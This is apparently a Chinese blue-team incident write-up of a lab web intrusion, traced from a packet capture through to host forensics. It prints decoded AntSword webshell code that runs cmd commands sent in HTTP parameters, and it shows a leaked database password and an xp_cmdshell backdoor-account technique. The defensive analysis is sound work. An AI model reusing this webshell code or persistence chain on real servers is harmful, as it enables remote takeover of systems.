蓝队溯源分析实战：一次完整的Web入侵事件复盘

一、流量分析

（一）、排查攻击者IP地址

步骤一：协议分级统计

在协议分级统计中可以看到，应用层中涉及的协议主要是HTTP协议，可以初步判断该攻击事件为Web攻击事件。

步骤二：会话统计

这里查看IPV4流量的统计信息，可以看到在该流量包中主要是192.168.78.142和192.168.78.1之间的通信流量占绝大部分，其次是192.168.78.142和192.168.78.134，最后是192.168.78.142和192.168.78.2，可以初步怀疑192.168.78.1、192.168.78.134、192.168.78.2这三个其中一个、两个甚至三个为攻击者的IP地址。
从535数据包开始，攻击者就开始对服务器端口扫描，193656才结束。

最后扫描出开放了Web端口27689。

步骤三：流量筛选分析

已知攻击事件为Web攻击，可以在WireShark的显示过滤器中过滤HTTP流量。

http

根据上面的信息，发现主要IP是192.168.78.1，可确定攻击者IP就为192.168.78.1。

（二）、攻击行为分析

步骤一：后台目录Fuzz阶段分析

确定192.168.78.1为攻击者IP后，接下来梳理其攻击过程。我们可以直接过滤攻击者IP相关的HTTP协议流量进行排查。在WireShark显示过滤器中使用以下过滤规则：

ip.addr==192.168.78.1 && http

步骤二：后台登陆界面口令爆破攻击分析

打开流量发现，攻击者在爆破后台账户密码，服务器回复显示用户不存在。

不难发现，攻击者在进行目录扫描攻击。

起初攻击者在针对Web站点的目录进行Fuzz，试图找出Web站点现有的Webshell、后台管理地址等敏感目录，特征也很明显，HTTP请求都是针对Web敏感目录的GET请求，且服务器返回的响应绝大多数都是404 Not Found。
扫描到web.config.bak时，发现了密码。

发现攻击者下载了这个文件。

下面的流量发现，攻击者用密码登录了后台。从32644包开始，攻击者就开始在后台进行操作。

步骤三：攻击者尝试下载文件服务器的文件

步骤四：获取上传文件所在的路径

根据服务器的返回，服务器没有找到这个文件，返回一个报错信息，报错信息中爆出了文件的绝对路径。

尝试文件路径是否正确，最后测试成功，上传的图片路径如下：

/upfile/affix/638566380966461055-aaaaaaaa.aspx

步骤五：通过后台管理功能上传第一个Webshell，获得执行系统命令权限。

从这个包开始，攻击者使用Webshell连接工具进行连接，发现名为636624422343506512-aaaaaaaa.aspx的木马文件。

追踪该HTTP流。

根据解码发现，这是蚁剑的流量，Webshell密码为chopper。蚁剑是渗透测试中常用的Webshell管理工具。

攻击者进行的操作：

1. 遍历目录：
   
   这段代码主要用来解析一个Base64编码的字符串，将其解码成一个目录路径，然后列出该目录下的所有子目录和文件。具体来说，它会输出每个子目录和文件的名称、最后修改时间、大小（对于文件）、以及属性。
   代码解释如下：

   var D = System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["o333dffee79d8c"].substr(2)));

   • Request.Item["o333dffee79d8c"].substr(2)：从HTTP请求的参数o333dffee79d8c中获取值，并去掉前两个字符。
   • System.Convert.FromBase64String：将去掉前两个字符后的值从Base64编码解码为字节数组。
   • System.Text.Encoding.GetEncoding("GBK").GetString：将解码后的字节数组转换为GBK编码的字符串，存储在变量D中。

     var m = new System.IO.DirectoryInfo(D);
     var s = m.GetDirectories();

   • new System.IO.DirectoryInfo(D)：创建一个DirectoryInfo对象，表示目录D。
   • m.GetDirectories()：获取目录D中的所有子目录。

     var P:String;
     var i;
     function T(p:String):String { return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss"); }

   • P：用于存储每个子目录或文件的完整路径。
   • i：用于循环迭代。
   • T(p:String):String：函数，接受一个文件路径p，返回该文件的最后修改时间。

     for(i in s){
     P = D + s[i].Name;
     Response.Write(s[i].Name+"/\t"+ T(P)+"\t0\t"+(s[i].Attributes)+"\n");
     }

   • 遍历所有子目录，输出子目录的名称、最后修改时间、固定大小（0），以及属性。

     s = m.GetFiles();
     for(i in s){
     P = D + s[i].Name;
     Response.Write(s[i].Name+"\t"+ T(P)+"\t"+ s[i].Length+"\t"+(s[i].Attributes)+"\n");
     }

   • 获取目录中的所有文件，遍历并输出文件的名称、最后修改时间、文件大小，以及属性。

2. 获取系统信息：
   
   这段代码用于获取服务器上的逻辑驱动器、当前路径、操作系统版本和当前用户名。

   var c = System.IO.Directory.GetLogicalDrives();
   Response.Write(Server.MapPath(".") + "\t");
   for (var i = 0; i <= c.length - 1; i++) Response.Write(c[i][0] + ":");
   Response.Write("\t" + Environment.OSVersion + "\t");
   Response.Write(Environment.UserName);

3. 执行系统命令：
   
   这段代码是一个用于在服务器上执行命令并获取输出的ASP.NET脚本，存在严重的安全风险。

   var c = new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["x4487feb1efaef"].substr(2))));
   var e = new System.Diagnostics.Process();
   var out: System.IO.StreamReader, EI: System.IO.StreamReader;
   c.UseShellExecute=false;
   c.RedirectStandardOutput=true;
   c.RedirectStandardError=true;
   e.StartInfo = c;
   c.Arguments = "/c " + System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["q3aed900b95ec1"].substr(2)));
   ... // 环境变量处理部分
   e.Start();
   out= e.StandardOutput;
   EI = e.StandardError;
   e.Close();
   Response.Write(out.ReadToEnd() + EI.ReadToEnd());

   代码通过从HTTP请求中获取Base64编码的命令字符串，创建进程并执行，最后将标准输出和错误输出返回。

步骤六：攻击者发现数据库管理员账户

在138549包中发现攻击者打开了web.config.bat文件，这里暴露了数据库的密码。

sa cisp-pte@sa

这里发现，有另一台主机192.168.78.2参与进来，最后发现192.168.78.142和192.168.78.2进行通信。

步骤七：攻击者登录数据库

下面发现攻击者访问了服务器的数据库服务。

过滤出1433端口的数据流量。

tcp.port == 1433

发现攻击者登录数据库执行了SQL语句。

执行的SQL代码：

上面这条SQL语句用于获取当前运行的Microsoft SQL Server实例的详细信息。
进行了查询操作：

服务器也返回了正常的查询结果：

经过排查，在下面这里利用扩展存储过程执行系统命令。

步骤八：利用扩展存储过程（xp_cmdshell）执行系统命令

xp_cmdshell是SQL Server中的一个组件，可以用来执行操作系统命令。它让系统管理员以命令行解释器的方式执行给定的命令字符串，并以文本行方式返回输出。需要sa等高级权限账户才能调用。
下面发现攻击者登录后，利用xp_cmdshell执行了系统命令（根据前面泄露的sa账户），添加了一个admin用户，密码123456，并且加入到管理组。

1. 创建后门用户
   

2. 开启3389端口
   

步骤九：攻击者利用后门用户远程登录成功

过滤3389端口的流量，发现攻击者远程登录成功。

tcp.port == 3389

二、入侵排查

一、排查恶意用户

步骤一：使用wmic获取系统账号列表

wmic useraccount get name

上面cisp-pte和admin这两个用户是非原系统用户，根据前面流量分析，这两个用户是SQL Server命令执行创建的。

步骤二、使用运行命令打开事件查看器：

• 按 Win + R 打开运行窗口。
• 输入 eventvwr 并按 Enter。
  发现admin用户在2024.7.15 11:30:09登录。
  

二、排查用户组

发现admin用户被加入到了管理员组。

其他用户组都正常。

三、排查计划任务

任务计划里面都是admin用户创建的计划任务。

经过查看发现，该任务每天19:17都会执行。

另一个任务是每天11:13执行。

四、排查启动项

发现启动的是666.exe软件。

通过查杀软件发现，这是一个木马病毒。

微步检测出目的IP和端口，这正是流量分析中一个机器的IP。

五、排查启动脚本

步骤一：打开注册表

进入HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run，看到名为startup的启动项，同样指向666.exe。

步骤二：检查注册表HKEY_CURRENT_USER下的启动项

批处理文件也指向666.exe。

六、排查恶意服务

发现恶意服务，路径也指向666.exe。

通过本次完整的蓝队溯源分析可以看出，攻击链清晰：从Web目录扫描、敏感文件泄露，到后台登录、上传Webshell，进而利用数据库弱口令执行系统命令，最终实现持久化控制。防守方应加强日志监控、定期进行安全配置审计并及时修补漏洞，以防范此类攻击。